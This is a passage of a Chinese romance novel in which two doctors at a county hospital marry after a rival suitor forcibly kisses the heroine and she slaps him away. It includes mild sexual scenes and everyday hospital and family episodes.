她攻略做得很细致,景点是否需要预约、是否要带身份证、大致的游览时间都注明了。就连每个餐厅好评较多的特色菜,她也用括号标在了店名的后面。 沈归时侧头望着她笑:“我都行啊,你想去哪里?” 他们以前也计划过外出旅游,但是医院的工作太忙了,他们一直没凑出那么多空闲时间,所以旅游计划一直搁置着。 为此,江明月还开玩笑说,要想和沈归时一起离开海城去外地,只能等学术会议了。 “那就从最近的城市开始玩。”江明月想了想,“租辆车吧,自驾比较方便。” 手机进来一个电话,覆盖了写得密密麻麻的备忘录。 沈归时看着来电人,微扬的唇角慢慢往下抿,将手机还给江明月:“林逸找你。” 江明月神色自然地接电话,起床,空闲的一只手拎起床头柜上的茶杯柄,走去厨房,冲了冲杯子,从冰箱里拿出大瓶装的椰子水,倒了一杯。 林逸说自己回彤县了,按照江明月之前的意思,帮她带了条珍珠项链。 江明月道谢,问花了多少钱,她把钱转给他。 林逸没回答,转而问她有没有时间一起吃顿晚饭,他正好把项链给她。 江明月答应了,顺口问:“能不能带个人?” “谁?” “沈归时。你见过的。” 林逸没有回应。良久,江明月听见他低沉的一声笑,明明是笑声,听上去却有点沉闷,像是藏匿着压抑的郁气。 “不行。”林逸的声音缓慢,一句话像是从嗓子里磨出来的,“明月,我还给你带了伴手礼,但没有给他带,叫他一起来,恐怕不合适。” 江明月一想也是:“嗯,那算了。” 她顺便给沈归时也倒了一杯椰子水,结束通话后,她端着两杯椰子水进房间,跟沈归时说:“我一会儿出去吃个饭。” 沈归时面无表情地应了一声,半晌,又问:“晚上还回来吗?” 江明月只觉得他问得莫名其妙,理所当然地说:“回来啊。” 沈归时沉静道:“还回来就行。”- 林逸给江明月准备的礼物是一枚蝴蝶胸针。 白贝母制成了蝴蝶翅膀,蝴蝶的腹部镶满了价值不菲的钻石,最上面嵌着一枚圆润的海水珍珠,珍珠又大又亮,成色很好。 江明月挺喜欢的。虽然工作中没有佩戴胸针的场合,但是这枚胸针造型足够精美,可以当作艺术品来珍藏。 她委托林逸帮忙购买的珍珠项链也很漂亮。一整串的海水珠,目测至少有15毫米的点位,属于收藏级别的尺寸,肉眼看不出瑕疵,称得上是珠光宝气。 江明月脑补了一下崔晚晚穿一件高领黑色打底衫,再戴上这串珍珠的样子,绝对能把崔晚晚衬得高傲又贵气。 回程的路上。 司机在前边开车。 江明月又问了一次林逸,这两样饰品一共花了多少钱。 林逸说:“没多少钱,你喜欢就好。” 江明月打算回去以后让沈归时看看,让他估个价。林逸不收钱是他客气,具体价值多少她要心里有数,找个机会把人情还掉,肯定不能白占人家便宜。 车子开到了宿舍楼下。 天已经黑了。 江明月打开手机手电筒,照亮前方。 林逸送她上楼。他的脚步声不重,不紧不慢地缀在她的身后。 江明月忽然问:“林先生,你现在是单身吧?” 她是发自内心地觉得林逸温和礼貌,很有绅士风度。恰好崔晚晚前两天在微信上跟她抱怨,说海城最近没有帅哥了。她也是突发奇想,打算做个中间人,让这俩人结识一下。 林逸说:“是。” 江明月顺势道:“我有个关系很好的朋友,目前也是单身。她叫崔晚晚,你应该有点印象吧?去年这个时候,你们差点儿就坐下来相亲了,因为她临时有事,不得已才让我代她出场的。说来你们还挺有缘的。” 她的话刚说到一半,林逸的脸色就沉了下去,他耐心地听她讲完,尽力维持着平和的语调:“那是和你有缘,不是和她有缘。” 江明月只是笑:“你什么时候回海城?可以跟她补个见面。她很漂亮的,性格也很好。而且跟你一样是海外留学回国的,你们应该会有很多共同话题。” 如果此刻江明月回头看一眼林逸,就会发现他神情冷滞,瞳色深沉如墨,正定定地望着她。 江明月走到了楼梯口,正打算拐个弯继续上楼,手忽然被人攥住,一道狠劲儿拽着,迫使她转了个身。 林逸问:“你在给我介绍对像?” 江明月对上林逸那双漆黑的眼,总觉得那一对眼眸要烧起来了,翻涌着许多情绪。 “你……不愿意?”她像是想起了什么,小心翼翼地问,“是不是你那个病……还没有治好?” 都过去这么久了,还没治好? 没治好就算了。这方面千万不能坑了崔晚晚。 林逸眼底怒火更甚:“我没病!” 江明月没再深究这个话题,牵线搭桥的心思也歇了一大半:“我也没别的意思,就是想介绍你和崔晚晚认识一下。我还没跟晚晚提过,我先来问问你的。如果你觉得不妥,那就算了。” 林逸紧紧地盯视她。楼道仅有手机照明,十分昏暗,他的眼眸在这样浓重的夜色中愈发黑沉锐利。 江明月不由自主地往后退了一步,后背几乎要贴到墙上,她无比真诚地道歉:“实在不好意思,是我太冒昧了,你别往心里去。” 她心里也在反省。 林逸这人可能边界感比较强,她和林逸还没有熟到可以为对方介绍对象的地步。 林逸气极反笑。他往前进了一步,气息压了过来,迅速笼罩了这一方天地。 江明月的脊背贴上了墙面,退无可退,眼睁睁地看着林逸微微俯身,温热的呼吸传递到她的耳廓。 他说:“明月,我在追你啊。你看不出来吗?” 第63章 名分 “最后一次。” 江明月的大脑卡顿了一下。 其实她经常能感知到林逸对她释放的善意, 但她一直都把那些友善的对待,归因于林逸的君子风度。 更何况,以林逸的长相家世, 要什么样的女人没有?她不会自作多情往那方面想。 短暂的怔愣后, 江明月逐渐恢复冷静:“抱歉,林先生, 我已经有——” 话未说完,耳垂上传来湿热的触感。 江明月吓了一跳。手机“咚”的一声, 掉在了地上。 手机背面朝下,挡住了手电筒的光源。楼道里变得漆黑一片。 江明月本能地伸手去推林逸, 整个人都往边上躲。下一瞬,她的腰被一双手掐握住, 力道凶狠,如同一对铁钳, 牢牢地禁锢着她。低沉的嗓音轻飘飘地落下:“你躲什么?我又不是没亲过。” 江明月脑中又是匡啷一声,她声调都有些变了:“什么时候?我怎么没有印象……” 林逸相当好心地为她答疑解惑:“你当然没有印象。当时你在车里睡着了。” 林逸听见了江明月明显变得紧促的呼吸声。他放缓语速, 听上去诚恳又耐心:“我也想光明正大地吻你。明月,跟我在一起好吗?在遇见你之前,我一直不知道喜欢一个人是什么感觉。你会答应我的吧, 明月?” 江明月嗓子发干:“你别这样……我已经有男朋友了……你放开我……” 林逸声线微冷: “你们不是分手了吗?” “……” 在江明月无声的回应中,林逸拧起无可奈何的眉:“你到底喜欢他什么啊……” 他也可以做到的。 就算做不到, 也能装成做到的样子。 江明月几乎没有迟疑:“什么都喜欢。” 林逸发现自己并没有办法心平气和地接受这样一个答案。他不由自主地收紧手掌。她的腰真的好细,几乎能用一双手圈住。 江明月手脚并用地挣扎,但根本挣脱不开。她第一次这么直白地感受到林逸褪去了温和的表象,还有这样凌厉逼人的一面。 林逸轻轻松松地制住她,还能腾出一只手,捏紧她的两颊, 逼迫她张嘴。江明月看着他的身影笼罩下来,在黑暗中迫近,带着极尽贪婪的占有欲和上位者天然的压迫感,攻势骇人,锋芒毕露。她意识到他要做什么,却推不开他,慌乱中,她直接扬手挥了过去。 “啪!” 清脆利落的巴掌声响起。 林逸微微一滞。 江明月趁这个瞬间挣脱出去,闷头往楼上飞奔,跑出了五六级台阶,又顿住脚步,猛地转身跑回去,把地上的手机捡了起来。 手电筒的光点亮了漆黑的楼道,她看见了林逸沉冷的脸,脸庞上挂着鲜明的红印。 江明月无言地尴尬,低头准备走,手腕又被圈住了。 她一时气急:“林逸你——” 林逸只是把一个纸袋的拎绳塞进了她的手心。他的声音恢复了温和,妥帖而得体:“对不起,我刚刚太冲动了,下次不会了。” 纸袋很厚实,里面装着蝴蝶胸针和珍珠项链,江明月拿在手里,只觉得烫手。 她将纸袋放到地上,“这个我不敢领受,你还是转赠给合适的人吧。”- 江明月回到宿舍,抱着睡衣去卫生间洗漱。 沈归时听见卫生间里传来淋浴的水声,无声地沉下眸子。 他看了眼时间。 三个小时。 她出去了整整三个小时。吃顿饭需要这么久? 三个小时够做很多事了。 沈归时质问的话在心里酝酿了半天,最终忍住了,什么也没问。 她说晚上会回来的,也确实回来了。 从这个角度来说,她一点都没辜负他。 江明月洗漱完毕,坐在床上看手机。这会儿已经晚上十点多了,她漫无目的地翻着几个工作群的消息,睡意逐渐涌了上来。 沈归时推门进来时,江明月已经睡着了。大概是看手机看到一半睡过去的,还维持半坐的姿势,被子都没盖,脑袋就歪靠在床头,手机还抓在手里,不过早已锁屏。 沈归时帮她把手机抽出来。 手机屏幕亮了一下。上面有两个未接来电。 来电人都是林逸。 沈归时面无表情地把手机放到一旁,两臂分别从江明月的背后和腿弯穿过去,把她横抱起来又轻轻地放下,给她换了个平躺的睡姿。 江明月翻了个身,继续睡。她身上这套睡衣版型宽松,随着翻身的动作,上衣的下摆往上卷起,露出了一截腰。 沈归时正准备给她盖被子,转头望见那一截腰,失神。 腰上全是青紫的掐痕。 她肌肤娇贵,稍微用点力就能弄出痕迹。他一向很注意,唯恐弄伤她。这腰上青紫的印记明显是用力掐握之后弄出来的。 他都不敢细想用什么姿势才能留下这么重的痕迹。 江明月迷迷糊糊间感觉到有人在她的腰间轻轻摩挲。 她想喝止:“林——”喊到一半便收住了声,从恍惚的梦境回归现实。 沈归时气得咬紧后槽牙。 叫错名字!她在床上都能叫错名字! 江明月半睁着眼眸,困意逐渐消退,看清眼前是沈归时,心神彻底放松,重新闭上了眼,嘟囔道:“几点了,还不睡?” 覆在腰上的那只手贴着肌肤往上移,极其轻柔地揉捏,伴着一句温沉的问询:“可以吗?” 江明月轻轻“嗯”了声。也不知是在回应他的问询,还是他的动作。 她洗过澡了。除了腰上的掐痕,沈归时也找不到更多的痕迹了。他的眼底情绪翻涌,却温柔倾身,把人抱进了怀里。 “明月。”他问,“给我一个名分,好不好?” 江明月的声音被撞得支离破碎:“什么……名分?” 沈归时语气认真:“我们结婚。” 江明月摇头:“太快了。” 半分钟后,江明月又说:“……我是说结婚太快了。” 沈归时问:“那你说什么时候才能结婚?” 江明月蹙眉想着他家里的情况,含糊地给了个答覆:“以后再说吧。” 沈归时抿了抿唇:“就算结了婚,我也不会管你的私事的,你想怎么样就怎么样。” 他真的不想再失去她了,他可以心甘情愿地做出一切让步,“我只是想要一个名分,可以吗?” 什么叫不会管她的私事? 现在这个情形也容不得江明月分神想那么多。不过沈归时语气里明显透着哀求,她心软得要命,安抚道:“你让我再想想。” 沈归时的声音沉了下去:“你是不是想和别人结婚?” “啊?没有……” “那你在犹豫什么?” “你家太封建了。” 沈归时微滞,恰好停在了一个很深的位置,他斟酌着词句说:“沈家是沈家,我是我。我们工作都在海城,结婚以后肯定还是住在海城。沈家那边……如果你不想去,那就不去。如果你想去看看,那我陪你,反正一切都随你。不会有任何人来约束你的,你放心。” 请你和我结婚。 我承诺你永远有自由自在的躯体,和不受拘束的灵魂。 江明月胀得难受,脑中的理智所剩无几,声音也软了下来:“那你想什么时候结婚?” “当然越快越好。”沈归时专心研磨某处固定的位置,“我看过地图了,从这儿往南走一公里就是民政局。我们先去领证,好不好?” 江明月分不清身体、灵魂、理智、信念哪一个先崩塌了。像漂浮在无穷无尽的浪潮之中,一重又一重的海浪推挤过来,沉淀着漫无边际的余韵。 “好啊。”她听见自己这么说- 卧室的窗帘没拉紧,留了一条窄缝。 晨曦初露。柔和的光线穿过那道缝隙,照进房间。 江明月睡眼惺忪。 她知道自己被强制开机了,这大早上的,哎…… 她也不知道沈归时昨晚几点睡的。她现在连睁开眼睛的力气都没有,脑中迅速想了一下今天是什么班——今天是休息。 行吧,随他去吧。 她没睁眼,但呼吸声变了。沈归时发现她醒了,伸手与她十指交扣。 天光大亮。 沈归时起身准备早餐。 江明月赖床片刻,披着睡袍去淋浴间洗澡。 沈归时估算着时间,煮开水下面条。 江明月从卫生间出来的时候,一碗阳春面刚好送到她面前。 是海城常见的做法,酱油红汤底,面汤上浮着鲜绿的葱花。 沈归时给她递来一双筷子:“有荷包蛋,吃不吃?” 江明月猛点头。 沈归时炸的荷包蛋是她吃过的最好吃的荷包蛋。蛋白的边缘炸得脆脆的,蛋黄的熟度却刚好,介于流心和全熟之间,是很滑嫩的口感。 沈归时盛了个荷包蛋给她。又问:“还有煎饺,吃吗?” 江明月又点头。 几天前沈归时烫伤了右手,下厨不方便。那几天两人每天都外出觅食。 这个煎饺就是在街头某一个路边摊吃到的,韭菜馅儿的,当时摊主就在路边支了个铁架子,里面塞了柴火,上面架着铁锅。江明月路过闻到香味,顿时脚都迈不动了。 沈归时见她喜欢吃,就问摊主要了联系方式,买了一些生的韭菜饺子,放在冰箱的冷冻柜里,后来右手恢复如初,他就在宿舍煎给江明月吃。 江明月吃了一碗面、一个荷包蛋、半盘子煎饺,惋惜道:“饱了,吃不下了。”她望着剩下半盘煎饺叹气,“你不吃吗?这份量也太多了。” “我吃过了,这是给你准备的。”沈归时意味不明地说了句,“让你在家吃饱,省的你出去吃。” 这话听着有点怪。 但具体是哪里怪,江明月也说不上来。 她继续做旅行攻略,时不时问问沈归时的意见,就这么度过了一个上午。 午餐后,江明月去睡午觉。正在酝酿睡意,察觉到身边贴上了一个人。 江明月真的有些无语了,推了一把沈归时:“你能不能节制一点?你不嫌累,我还嫌累呢。” 沈归时抱着她不动了。 江明月语重心长:“不要太频繁,不然容易得前列腺炎。” “知道了,江医生。” 片刻之后,江明月心想——你知道了什么啊? 她无奈道:“最后一次。” 沈归时倾身过来:“……好。” “戴了吗?” “嗯。” 这方面沈归时一直做得很到位,江明月也放心。 沈归时忽然问:“林逸他也是戴的吧?” 江明月当真没反应过来:“什么?” “就是你和他在一起的时候……他也做好措施了吧?” 江明月脑子转了个弯,才明白沈归时的意思,当下便解释道:“我和他没有——” 沈归时选择性抓取关键词,声音又气又恨:“他没有?他凭什么没有?” “沈归时!你脑子里一天到晚在胡思乱想什么?我跟林逸不是你想的那种关系。” “那你们是什么关系?” 江明月想了一会儿,说:“就是互相认识。” 之前可能算是朋友,但昨晚过后,江明月很难再用“朋友”这个词来界定她和林逸的关系了。 沈归时说:“你说实话,我能接受。” “这就是实话!” “那我刚到彤县的那天晚上,你和他去哪儿干什么了?” 江明月回忆了一下,照实说:“在山上看星星。” 沈归时咬牙切齿:“这么浪漫?” 江明月沉默。 沈归时的声音浸染上了委屈:“你以前明明答应过我,不会跟他见面的……” “嗯。”江明月顿了顿,“以后不见了。” 沈归时试探般地问:“你在床上说的话,能信吗?” 江明月蹙眉:“你这是什么意思?我是那种穿上裤子就翻脸的人吗?” “那你昨天晚上答应了要跟我结婚的,你没忘吧?” 此刻的江明月理智尚存,开始认真思考这件事,慢慢道:“这个等回海城以后再说吧。” 再说。 又是再说。 “你想反悔?” “不是……我就是觉得这事儿不能太草率……” “你是那种穿上裤子就翻脸的人吗?” “……” “这还没穿呢,就翻脸不认了是吧?” “……” 这辈子算是栽在他手里了。 意识浮浮沉沉间,江明月这般想道- 江明月挑了个父母都在家的时间点,给孙静打了视频。 随便聊了几句之后,江明月问:“妈,我爸呢?” “浇水去了。这几天太热了,他养的那几个盆景都快干死了。”孙静一边说一边转头喊,“老江,月月找你!” 江峰提着浇水壶就过来了,望着镜头直笑:“什么事啊,月月?” 江明月郑重道:“爸、妈,我有男朋友了。” 孙静欣喜道:“那好的呀。男孩子多大了?做什么工作的?有没有照片啊?” “人你们也见过的。”江明月把沈归时拉进镜头,“就是他。” 孙静对这个曾有一面之缘的帅小伙还有印象:“小沈,是你啊!” 沈归时乖巧礼貌地打招呼:“叔叔阿姨好。” 江峰问:“小沈,你怎么也在彤县?” 沈归时说:“我今年毕业以后留院了,现在和明月一样,受附院委派,来这边交流学习。” 老夫妻俩从这句话里琢磨出一个信息——这孩子毕业了,有工作了,有自立根生的能力了。 两人对视一眼,从彼此的眼中看到了满意。 江明月忐忑道:“现在呢,我们俩有结婚的打算。” 孙静愣了愣,接了一句:“你们进展挺快啊……” 江明月便说:“其实我们已经在一起一年多了。” 沈归时听得整个人都快飘飞起来了。 她说在一起一年多了。 那是不是说明,在她心里,他们其实并没有分开过? 孙静不禁笑了:“你不早说,害得我们之前还以为你和林……” 江峰紧急扯了一下孙静的衣袖。孙静连忙改口:“……和邻居家的小孩一样,不想谈恋爱。” 江明月一直记得父母对豪门出身的贵公子颇有偏见,她想趁这个机会跟父母交代一下沉归时的身世,尽量争取父母的认可。 她字斟句酌:“沈归时他家里的情况可能比较特殊……” 孙静看着女儿这一脸纠结的样子,宽慰道:“我们知道的,你放心,我和你爸爸都不介意。” 江明月诧异:“你们知道?” 江峰跟着点头:“早就猜到了。” 不就是家庭条件不太好吗?这有什么。小伙子学历有了,工作也找了,在海城安身立命只是时间问题。 江明月恍惚地“哦”了一声,又道:“既然你们不介意,那我们就去结婚了?” 江峰如梦初醒:“什么?结婚?” 江明月说:“就是……先去领个结婚证。” 江峰开始用审视的目光打量沈归时,一边问道:“月月,你确定了吗?” 江明月没有犹豫:“嗯。” 沈归时抿唇而笑。 孙静推了把江峰:“她想结就让她结呗,她年纪也不小了。”又交代江明月,“婚礼等回海城再办吧。” 江明月笑着答应。 第64章 浓情 新婚之夜 得到江明月父母的同意后, 沈归时开始光速筹备结婚的事。 他们俩都不是本地户籍,需要准备的材料要多一些。沈归时打了婚姻登记处的办公电话,问清楚具体需要哪些东西, 准备齐全之后, 拉着江明月去登记结婚。 江明月感觉沈归时在这整个过程中非常着急,好像生怕慢一步她就要反悔。她也没操什么心, 全程被他推着往那个方向走,直到某一天, 结婚证书出现在了手上- 这一天称得上是风和日丽。 沈归时给婚姻登记处的工作人员挨个儿发了喜糖,随后开车载着江明月, 前往某个山顶度假酒店。 酒店是沈归时在两天前预订的。他说新婚之夜一生只有一次,必须要有仪式感。 当时江明月看着他递过来的酒店预约信息, 头也不抬:“谁说一生只有一次?” 沈归时的脸色都变了:“你还想有几次?” 江明月说:“以后回海城办婚礼的时候,不还有一次?对了, 如果你还要在北城办婚礼,那总共就有三次。” 沈归时神色缓了过来:“那每一次都要好好过。”- 两人去租了一辆本地牌照的代步车。 下午五点多, 这辆代步车泊入了山顶度假酒店的露天停车场。 两个人手牵着手去办入住。 前台的工作人员笑吟吟地递上封装房卡的信封:“这是二位的房卡,欢迎入住,房间在顶楼。祝你们新婚快乐。” 江明月听着这声祝福, 猜是沈归时订房时特意交代过。 果然,打开房间门, 就看见了满室的玫瑰花。新鲜的玫瑰花瓣甚至沾着露水,从楼下的会客厅一路铺到了套房二楼的卧室和露台,如同一道深红的锦缎。 江明月不由驻足欣赏。 临近饭点,沈归时问她想吃什么。 酒店内设有中西餐厅,口碑尚可。 江明月不想出房门,便叫了客房服务, 点了海鲜火锅送到房间。 服务生推着小推车过来送餐,另外还附赠了一个爱心形状的蛋糕和一瓶香槟,再次祝福两位新人百年好合。 餐后,江明月在宽大柔软的沙发上盘腿坐下,把自己结婚的消息告诉了几个关系不错的朋友。 崔晚晚在电话里夸张地尖叫:“啊!啊啊!江明月!你也太能藏了吧!谈个恋爱连我都瞒?等结婚了才告诉我?” 江明月说:“我之前连我爸妈都没说。” “啧啧啧,嘴够严的。你是我见过的唯一一个,谈了大帅哥还能忍住不说的人。”崔晚晚已经心理平衡了,“伴娘定了吗?我要给你当伴娘。” 江明月笑着说:“没定。就等你这句话呢。” 江峰也打了电话过来,过问了几句,又道:“月月,小沈要是敢欺负你,你跟爸爸说啊,我打飞的去揍他。” 江明月笑了半天,说:“知道了。” “你俩钱够用吗?他刚工作,工资没你高吧?月月,你该怎么过还是怎么过,别省吃俭用,钱不够花就跟爸爸说,爸爸贴补你们。” “我们钱够用,彤县这边消费也不高。再说沈归时他也不缺钱,你别操心了。” “那行,你俩好好过。我昨天跟小沈视频聊了一个多小时,看得出来他真心爱你。” “嗯。”江明月转眸去看话题当事人。 当事人刚从淋浴间出来,身上松松垮垮地披了件浴袍,从茶几上捞起一瓶矿泉水,拧开来喝了一小半。 见她看过来了,沈归时旋上矿泉水瓶盖,俯身凑过去吻她。 江明月笑着躲开,指了指耳边的手机,朝他做口型——“我爸”。 沈归时眉峰微挑,低头解浴袍的系带,当着她的面,褪下浴袍,慢条斯理地换了身睡衣。 江明月很确信,这男人又在引诱她了。 电话里,江峰接着说:“月月,虽然你结婚了,有自己的小家庭了,但你永远都是爸爸妈妈的宝贝。爸爸也爱你。” 江明月心间的每一个角落,都被一种名曰“幸福”的情绪塞得满满当当。 她结束通话。沈归时靠过来,与她肆无忌惮地拥吻。 江明月推他:“我去洗澡……” 沈归时打横抱她起来:“一起洗。” “你不是洗过了?” “再洗一次。” 他的语气十分正经。江明月勾着他的脖颈,刻意拖长声音:“是——吗——” 沈归时面色不变:“我爱干净。” 这家山顶酒店的浴缸是个圆形的大浴缸,与洗手台、淋浴间一同组成一个巨大的洗漱间。浴缸正对一扇落地窗,外面是群山和河流。不过现在天已经黑了,只能看到山川的轮廓。 江明月指了下落地窗,沈归时会意地抱着她过去。她将落地窗旁边一处开关往上推,窗体玻璃内嵌的百叶窗的叶片妥帖地闭合,把室内旖旎遮得严严实实- 洗漱间不知道用了哪个牌子的香薰,闻上去是很高级的木质香调,淡雅的香气随着呼吸钻入鼻腔,干净又清冽。 水的浮力赋予了许多丰富而奇妙的感官体验。 江明月闭上眼睛,等着这一阵余韵过去。或许是氤氲的水汽实在潮热,她瓷白的肌肤上都泛着浅淡的粉色,身子控制不住地往下滑。 沈归时扶住她:“往上一点。” 江明月睁了睁眼:“嗯?” “水位太低,心脏负担大,人容易晕。”沈归时盯着那双近在咫尺的迷濛眼眸,暗戳戳地使劲儿,“你又走神?” “没有……我刚刚在想,等回海城以后,要不要在家里装个浴缸。” 海城名邸是精装修交付的,开发商在主卧的卫生间内配了一个超大的按摩浴缸。可惜江明月没有泡澡的习惯,便将那一块区域敲掉重装了,改成了一个单独的小衣帽间,放一些配饰和换洗衣物。 不过现在她觉得,家里放个浴缸,好像也不错。 “我想把海城名邸主卧里那个小衣帽间拆了,跟卫生间打通,安个浴缸,你觉得怎么样?” 沈归时停顿:“我在进门左边第一个衣橱里放了一套帝王绿首饰,送你的,你重新装修之前,别忘了拿出来。” “啊……你什么时候在那儿放了套首饰?” “在你狠心抛弃我的时候。” 这话说的,像在控诉江明月始乱终弃。偏偏江明月还要问:“那我要是嫁给别人了怎么办?” 沈归时垂下眼睫。 他的头发都被水打湿了,睫羽上挂着水珠,润泽的薄唇轻抿,有一种湿漉漉的委屈。 很快,他抬眸望向江明月,像是要望到她心里去:“那我尊重你的选择,只要你过得开心,我……祝福你。” “想什么呢?我是说,如果我嫁给别人了,那套翡翠首饰怎么办。”江明月用指尖轻点他的心口,“你也不跟我说一声,就把那么贵重的东西放在我家,要是我没跟你在一起,你岂不是亏大了?” 她是开玩笑般的口吻,沈归时却答得很郑重:“翡翠要赠心上人。不管你有没有选择我,那都是送给你的。如果你还愿意跟我在一起,那当然最好。如果你不愿意,那等你看到那套帝王绿的时候,一定能猜到是我放在那里的,你会知道——我永远爱你,永远在等你回心转意。” 江明月抬手,想把沈归时脸上的水珠擦擦干净,却忘了自己手上也都是水。她失笑,身子往前凑,菱唇覆上了眼前人:“我也爱你。”- 新婚第三天,浓情蜜意的夫妻俩照常上班。 毛小东剥了根香蕉当早饭,瞧见沈归时满面春风地走了进来,随口说了句:“沈老师,感觉你最近心情不错啊。” 沈归时压着笑意说:“你怎么知道我跟明月结婚了?” 毛小东手里的香蕉差点掉在地上:“啊?我不知道啊。” 不是,谁问你了?瞧瞧你这恨不得向全世界宣告的架势…… 毛小东震惊之后,继续啃香蕉,往门外张望:“江老师呢?” 沈归时说:“她在门口遇到了一个熟悉的病人,留在那儿说话了。” “你俩真结了?”毛小东犹不敢置信,“这也太突然了……沈老师,你给彩礼了吗?买三金了吗?都没有?咋,你们海城人不讲究这个啊?” “讲究的,但她家里没要。” 沈归时不敢怠慢江明月的父母,之前跟江峰通电话的时候,还特意问起两位长辈何时方便,好让他略备薄礼,登门拜见。 江峰说不用,话里话外含着敲打的意思,说他们做父母的,是看在女儿真心喜欢的份上,才不计较沈归时清寒的家境,愿意成全他们。只要沈归时一如既往地爱护江明月,房子、车子、所有物质上的东西,都不是问题。 沈归时也不知道是哪个环节出错了,让江峰产生了这样的误会。但江明月好不容易答应和他结婚了,他唯恐横生枝节,也不敢跟江峰多做解释。 毛小东一脸呆滞:“所以,沈老师你什么也没送,一分钱没花,就娶到了那么漂亮的老婆?” 也不能说什么也没送。 沈归时想了想,说:“送了一套翡翠首饰。” 毛小东问:“多少钱买的?” “不是买的,是我爷爷给的。” “啊?就那种祖传的翡翠?那能值几个钱?” 沈归时认真地回答:“去年香港佳士得春拍有一条类似的玻璃种帝王绿项链,最终以将近7000万港币成交。如果凑齐一整套首饰,保守估价大概在五个亿左右。” 毛小东颇为无语地望着他,半晌,冒出一句:“沈老师,你可真会吹啊。” 第65章 体面 始终期待重逢 江明月在医院门口遇到了提着大包小包准备出院的阿蓝。 江明月问:“怎么就你一个人?你妈妈呢?” 阿蓝说:“她去找电瓶车了, 马上来。” 江明月关心道:“你刀口恢复得怎么样?” “还行,已经不痛了。” 江明月说了些居家调养的注意事项。 阿蓝听得很认真。 江明月又补了一句:“女孩子要保护好自己。” 阿蓝乖乖地说:“知道啦,谢谢你, 江医生。” 阿蓝妈妈骑着电瓶车过来了。 阿蓝把身边的大包小包堆到电瓶车上。 江明月不再逗留, 往急诊方向走,却被阿蓝叫住:“江医生, 等等!你等等!” 江明月回头,看见阿蓝小跑过来, 怀里揣着一个大号的玻璃罐子。 “什么事?” 阿蓝把玻璃罐递到江明月面前:“差点忘了把这个给你……这是我自己家里做的老红糖!你尝尝!” 江明月低头一看。切割整齐的红糖块塞了满满一罐。 她问:“多少钱?我付给你。” 阿蓝摇头:“不要钱!” “那怎么行。” 江明月坚持要给钱,不收钱就不要了。 阿蓝灵机一动:“江医生, 你先拿走。下次你来我家吃饭的时候再给钱好了。” 19岁的少女笑靥如花。 江明月莞尔,终于同意了。她想了想, 说出了她唯一会说的那句苗语:“维佳木。” 阿蓝瞪大眼睛:“江医生,你说什么?” “我说再见——维佳木。”见阿蓝一脸古怪, 江明月不由问,“怎么了?我发音有问题?” 阿蓝说:“维佳木, 是我爱你的意思。” 江明月微怔,确认道:“不是再见的意思?” 阿蓝咯咯直笑:“江医生,谁教你说的苗语啊?是不是记错了?维——我, 木——你,维佳木——我爱你。” 江明月愣了又愣。 林逸啊……- 那晚她情急之下, 给了林逸一巴掌。她以为林逸不会再联系她了。 没想到林逸还是打电话过来,再三向她道歉,态度很诚恳,说自己一时冲动,做了一些不太尊重她的举动,希望她原谅。 还说自己准备了赔礼, 想当面给她。 江明月说不用赔礼,过去的事就算了,她就当没发生过。 她给林逸留面子,林逸后来也没再联系过她。 很体面- 江明月回到急诊,恰好看见一个老人扶着一个脸色难看的青年从诊室里出来。 两个人都穿着洗到发白的衣服,裤子上有些不太干净的水渍。青年体型偏胖,面色灰白,右手攥着胸前的衣服。老人肩上挂着一个网兜,里面装着一些零零碎碎的物品。 两人步伐很慢,从江明月身边路过。江明月闻到了一股很重的鱼腥味。 “那俩人怎么了?”江明月坐下来问毛小东。 “祖孙两个,孙子急性胸痛伴呕吐,在家吃了药,还是吐。去了家附近的乡镇卫生院,乡镇卫生院说看不了,要去县城,爷爷一路蹬三轮车过来的。” 毛小东啧啧两声,“三轮车啊,光蹬过来就花了两个多小时。这要是遇到什么急症,半路上人就没了。” 江明月问:“现在他们去做检查了?” 毛小东说:“嗯,病人说刚刚一阵后背疼得要命,休息了一会儿,缓过来了。我觉得心绞痛的可能性很大,病人这么年轻应该不会心梗,呕吐多半是心肌缺血导致的。我让他去查心电图和心梗三项了,等结果吧。” 思路没错。 江明月瞟他一眼:“有进步。” 毛小东嘿嘿地笑。 “沈医生呢?”江明月又问。 进来就没看见他的人。 毛小东说:“刚刚来了个误喝农药的老人,沈老师送他去抢救了。” 江明月“哦”了声。 毛小东偷瞟她的神色,好奇地打听:“江老师,你真和沈老师结婚了啊?” “他告诉你的?” “对啊。” 其实江明月不用问也知道。就结婚这件事而言,沈归时真的很想昭告天下。 前天他们刚领好证,还没出婚姻登记处,沈归时便给远在海城的人事科同事打电话,让对方把他们俩电子档案里婚姻状况那一栏改成“已婚”。 人事科同事大为震撼,在电话里问了好几遍:“真的假的?你和江明月?” 沈归时当即把朋友圈背景,换成了他和江明月手持结婚证的甜蜜合影。 此外,沈归时还买了好几种喜糖,左邻右舍发了个遍,路过的狗他都恨不得贴个囍字。主打一个普天同庆- 毛小东非常想采访江明月:“诶,江老师,你心里咋想的啊?怎么这么突然就结婚了啊?” 江明月还没来得及说话,门口响起一道喑哑的嗓音:“你结婚了?” 江明月抬头一看,门口站着林逸。 空气陷入莫名的死寂。 林逸抬腿走了进来,步子并不快,却有步步紧逼的意味。他停在江明月的桌子旁边,声线低沉:“什么时候结的婚?” 毛小东抢答道:“前天!” 江明月右眼皮狂跳。 她抬手按了按右边眼眶。 林逸盯视着她:“你家里人知道吗?” 毛小东又抢答:“知道,彩礼都没收,就收了个祖传的翡翠,沈老师还说值五个亿。” 林逸眉心轻拧:“就五个亿?” 哟呵,这口气。 毛小东问:“你嫌少啊?” “闭嘴!”江明月终于受不了毛小东接话接个没完了。 她给了毛小东一个震慑意味很浓的眼神,又抬眸望向林逸:“你要是没什么事——” “我有事。”林逸说。 江明月站起来:“那出去说吧。”- 两人来到僻静无人的走廊。阳光透窗而入,在走廊的地砖上划分出一格格长方形的灿烂轮廓。 十个小时前,林逸还在南半球。他作为林氏核心人物,出席了一场商务宴请。 宴会结束之后,他拒绝了友商的好意挽留,迅速归国,来到彤县。 他很想见江明月。 这个念头在短暂地奔赴异国他乡之后,变得更加强烈。 林逸从来不知道,想念一个人会是这样的感觉。 时时刻刻,牵肠挂肚。 他并不厌恶这种感觉。 相反,他很庆幸,也很满足。 原来这世上会有那么一个人,能让他不论身在何处,始终期待重逢。 多好。 林逸唯恐自己风尘仆仆,还特意在飞机上洗了个澡,换了身衣服。 他知道江明月不想见他,所以这段时间他没有再去打扰江明月。他给她充分的时间去平复心情,慢慢淡化那晚的记忆。 结果她就趁着这段时间,结了个婚? 林逸后悔没有安排人在彤县盯好江明月。 